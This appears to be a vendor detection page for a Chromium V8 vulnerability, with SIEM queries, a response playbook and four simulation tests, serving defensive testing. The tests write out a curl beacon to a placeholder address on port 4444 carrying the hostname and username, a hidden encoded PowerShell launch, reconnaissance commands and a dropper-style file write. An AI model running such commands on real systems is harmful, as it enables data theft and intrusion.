Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (CVE-2026-11645)
Detects exploitation attempts targeting CVE-2026-11645, an out-of-bounds read and write vulnerability in Google Chromium's V8 JavaScript engine. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild. Successful exploitation can lead to arbitrary code execution in the context of the browser process, enabling sandbox escape, credential theft, and further compromise.
Vulnerability Intelligence
KEV — Known ExploitedAffected Software
- Vendor
- Product
- Chromium V8
Timeline
- Disclosed
- June 9, 2026
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
What is CVE-2026-11645 Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (CVE-2026-11645)?
Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (CVE-2026-11645) (CVE-2026-11645) maps to the Initial Access and Execution and Defense Evasion tactics — the adversary is trying to get into your network in MITRE ATT&CK.
This page provides production-ready detection logic for Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (CVE-2026-11645), covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, Windows Security Events, Azure Monitor. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
let SuspiciousChildProcs = dynamic(["cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", "schtasks.exe", "certutil.exe", "bitsadmin.exe"]);
let BrowserProcs = dynamic(["chrome.exe", "msedge.exe", "brave.exe", "vivaldi.exe", "opera.exe"]);
union DeviceProcessEvents, SecurityEvent
| where TimeGenerated >= ago(7d)
| where (ActionType == "ProcessCreated" or EventID == 4688)
| where (InitiatingProcessFileName in~ (BrowserProcs) or ParentProcessName has_any (BrowserProcs))
| where (FileName in~ (SuspiciousChildProcs) or NewProcessName has_any (SuspiciousChildProcs))
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend RiskScore = case(
ProcessCommandLine has_any ("Invoke-", "EncodedCommand", "-enc", "IEX", "DownloadString"), 3,
ProcessCommandLine has_any ("http", "ftp", "curl", "wget"), 2,
1
)
| where RiskScore >= 1
| order by RiskScore desc, TimeGenerated desc Detects Chrome/Chromium browser processes spawning suspicious child processes that may indicate V8 engine exploitation leading to code execution. Focuses on high-risk post-exploitation child process patterns consistent with CVE-2026-11645 abuse.
Data Sources
Required Tables
False Positives
- Legitimate browser extensions or enterprise software that invoke command-line tools
- Developer workflows that launch terminals or scripts from within the browser
- Automated test frameworks (Selenium, Playwright) that control browser processes
- IT management tools that use browser-based consoles and spawn administrative processes
Sigma rule & cross-platform mapping
The detection logic for Google Chromium V8 Out-of-Bounds Read and Write Vulnerability (CVE-2026-11645) (CVE-2026-11645) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-11645
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate V8 Exploitation via Browser-Spawned PowerShell
Expected signal: Sysmon Event ID 1 with PowerShell.exe spawning with -EncodedCommand flag; parent process visible in PPID chain; Windows Security Event 4688 if command-line auditing enabled
- Test 2Browser Renderer Process Spawning cmd.exe for Reconnaissance
Expected signal: Windows Security Event 4688 or Sysmon Event ID 1 showing cmd.exe spawned with reconnaissance commands; process parent visible in telemetry; file creation event for test_spawn.txt
- Test 3Simulate Outbound C2 Connection from Browser Process Context
Expected signal: Network connection attempt on port 4444 to non-RFC1918 IP from the process; DNS resolution attempt if hostname used; Sysmon Event ID 3 (network connection) or equivalent EDR network telemetry
- Test 4Renderer Process Writing Executable to Unexpected Path
Expected signal: Sysmon Event ID 11 (file created) showing .exe file written to C:\Users\Public\ by PowerShell; file hash telemetry; MZ header written to unexpected location
Response Playbook
Triage
- Identify the affected host and user account; check if the Chrome/Chromium version installed predates the patch addressing CVE-2026-11645 by querying software inventory or endpoint management systems.
- Review the full process tree for the suspicious child process: capture parent PID, child PID, command-line arguments, and any grandchild processes to understand the exploitation chain depth.
- Examine network connections made by both the browser process and any spawned child processes in the 10-minute window surrounding the alert, looking for C2 beaconing, data exfiltration, or payload downloads.
- Check browser extension inventory on the affected host for recently installed or modified extensions that may serve as an attack vector or persistence mechanism post-exploitation.
Containment
- Isolate the affected endpoint from the network immediately using EDR host isolation capabilities to prevent lateral movement or data exfiltration while investigation is underway.
- Force-terminate the suspicious browser session and any child processes identified, then prevent Chrome/Chromium from launching until the browser is patched to a version that addresses CVE-2026-11645.
- Revoke active authentication tokens and sessions for the affected user account across all SSO-integrated services in case credentials were harvested during the exploitation window.
Evidence Collection
- Capture a full memory image of the affected endpoint before any remediation to preserve V8 heap artifacts, shellcode remnants, and injected payloads that may exist only in memory.
- Collect browser forensic artifacts: Chrome profile directory contents, visited URLs (History SQLite DB), downloaded files, cached content, extension data, and any crash dumps generated by the renderer process.
- Export EDR process telemetry, network flow logs, and DNS query logs covering the 30 minutes before and after the alert timestamp for timeline reconstruction.
Escalation Criteria
- ! Escalate to incident response leadership immediately if the spawned child process established an outbound network connection, downloaded additional payloads, or invoked credential-harvesting tools (Mimikatz, LaZagne).
- ! Escalate and initiate enterprise-wide threat hunt if multiple endpoints trigger this detection within a short time window, indicating a drive-by campaign or watering hole attack leveraging CVE-2026-11645.
Investigation Guide
Forensic Artifacts
- >
Chrome renderer process crash dumps in %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\reports\ — may contain V8 exploit artifacts - >
Windows Event Log: Security (4688/4689) and Sysmon (1/10) entries for browser-spawned processes - >
Browser History and Downloads databases at %LOCALAPPDATA%\Google\Chrome\User Data\Default\ for identifying malicious pages visited - >
Prefetch files for any tools spawned by the browser (e.g., C:\Windows\Prefetch\POWERSHELL.EXE-*.pf) - >
Network capture artifacts: DNS queries, HTTP/S connections, and any JA3/JA4 TLS fingerprints from browser-spawned processes
Tuning Guidance
This detection relies on parent-child process relationships which may generate false positives in environments with browser-based enterprise management tools, developer workstations, or automated testing infrastructure. To reduce noise: (1) Build an allowlist of known-good parent-child process pairs observed in your environment before the CVE disclosure date (2026-06-09) and exclude them. (2) Add a filter for signed child processes from trusted publishers to exclude legitimate software. (3) Correlate with patch compliance data — hosts running a patched Chrome version can be deprioritized. (4) Increase confidence by requiring both the suspicious child process AND an outbound network connection from that child within a 60-second window.
Hunting Queries
Hunt for Chromium browser processes making outbound connections on non-standard ports to external IPs — a strong indicator of C2 communication following successful CVE-2026-11645 exploitation.
DeviceNetworkEvents
| where TimeGenerated >= ago(14d)
| where InitiatingProcessFileName in~ ("chrome.exe", "msedge.exe", "brave.exe")
| where RemotePort !in (80, 443, 8080, 8443)
| where not(RemoteIPType == "Private")
| summarize ConnectionCount=count(), DistinctPorts=dcount(RemotePort), DestinationIPs=make_set(RemoteIP) by InitiatingProcessFileName, DeviceName, RemotePort
| where ConnectionCount < 5
| order by ConnectionCount asc index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=3
| where match(Image, "(?i)(chrome|msedge|brave)\.exe")
| where NOT match(DestinationPort, "^(80|443|8080|8443)$")
| where NOT match(DestinationIp, "^(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.)")
| stats count by Image, DestinationIp, DestinationPort, host
| where count < 5
| sort count asc Hunt for Chromium browser processes writing executable or script files to unexpected filesystem locations, indicating payload staging following CVE-2026-11645 exploitation.
DeviceFileEvents
| where TimeGenerated >= ago(14d)
| where InitiatingProcessFileName in~ ("chrome.exe", "msedge.exe", "brave.exe")
| where ActionType in ("FileCreated", "FileModified")
| where not(FolderPath has_any ("User Data", "Cache", "Downloads", "Temp"))
| where FileExtension in~ ("exe", "dll", "bat", "ps1", "vbs", "js", "hta")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, FolderPath, SHA256
| order by TimeGenerated desc index=windows sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational EventCode=11
| where match(Image, "(?i)(chrome|msedge|brave)\.exe")
| where NOT match(TargetFilename, "(?i)(user data|cache|downloads|temp)")
| where match(TargetFilename, "(?i)\.(exe|dll|bat|ps1|vbs|js|hta)$")
| table _time, host, Image, TargetFilename
| sort -_time Atomic Red Team Tests
Simulates post-exploitation behavior where a Chromium renderer process (or a process mimicking its name) spawns PowerShell with an encoded command, matching the process chain expected from CVE-2026-11645 exploitation.
Command
Start-Process -FilePath "powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -EncodedCommand dwByAGkAdABlAC0AaABvAHMAdAAgACcAQwBWAEUALQAyADAAMgA2AC0AMQA2ADQANQA6ACAAVABlAHMAdAAgAGUAeABlAGMAdQB0AGkAbwBuACcA" -WindowStyle Hidden Cleanup
Stop-Process -Name powershell -Force -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 1 with PowerShell.exe spawning with -EncodedCommand flag; parent process visible in PPID chain; Windows Security Event 4688 if command-line auditing enabled
Expected Detection
KQL and SPL queries should trigger on the PowerShell child process with encoded command matching the risk_score=3 condition; Chronicle YARA-L rule fires on the process creation event
Creates a process named after a Chromium renderer that spawns cmd.exe to simulate the initial code execution stage of CVE-2026-11645 exploitation, mimicking attacker reconnaissance commands.
Command
cmd.exe /c "echo CVE-2026-11645 simulation > %TEMP%\test_spawn.txt && whoami && ipconfig /all" Cleanup
del %TEMP%\test_spawn.txt 2>nul Expected Telemetry
Windows Security Event 4688 or Sysmon Event ID 1 showing cmd.exe spawned with reconnaissance commands; process parent visible in telemetry; file creation event for test_spawn.txt
Expected Detection
Parent-child process detection rules trigger; reconnaissance command patterns (whoami, ipconfig) should additionally match threat hunting queries for post-exploitation discovery activity
Uses curl (or PowerShell Invoke-WebRequest) to simulate an outbound C2 beacon on a non-standard port, as would occur after successful CVE-2026-11645 exploitation when the attacker establishes command-and-control.
Command
curl -s --connect-timeout 5 http://192.0.2.1:4444/beacon?host=$(hostname)&user=$(whoami) || true Cleanup
true Expected Telemetry
Network connection attempt on port 4444 to non-RFC1918 IP from the process; DNS resolution attempt if hostname used; Sysmon Event ID 3 (network connection) or equivalent EDR network telemetry
Expected Detection
Hunting queries for non-standard port outbound connections from browser processes should surface this event; network detection rules flagging C2-like beaconing patterns on uncommon ports should alert
Simulates a dropper payload being written to disk by a browser renderer process following CVE-2026-11645 exploitation, targeting a directory outside the normal browser cache/download paths.
Command
powershell.exe -Command "[System.IO.File]::WriteAllBytes('C:\Users\Public\test_payload.exe', [System.Text.Encoding]::UTF8.GetBytes('MZ CVE-2026-11645 test payload'))" Cleanup
Remove-Item -Path 'C:\Users\Public\test_payload.exe' -Force -ErrorAction SilentlyContinue Expected Telemetry
Sysmon Event ID 11 (file created) showing .exe file written to C:\Users\Public\ by PowerShell; file hash telemetry; MZ header written to unexpected location
Expected Detection
File write hunting queries detect executable dropped to C:\Users\Public\ outside normal browser download paths; EDR behavioral rules flag executable creation in user-accessible public directories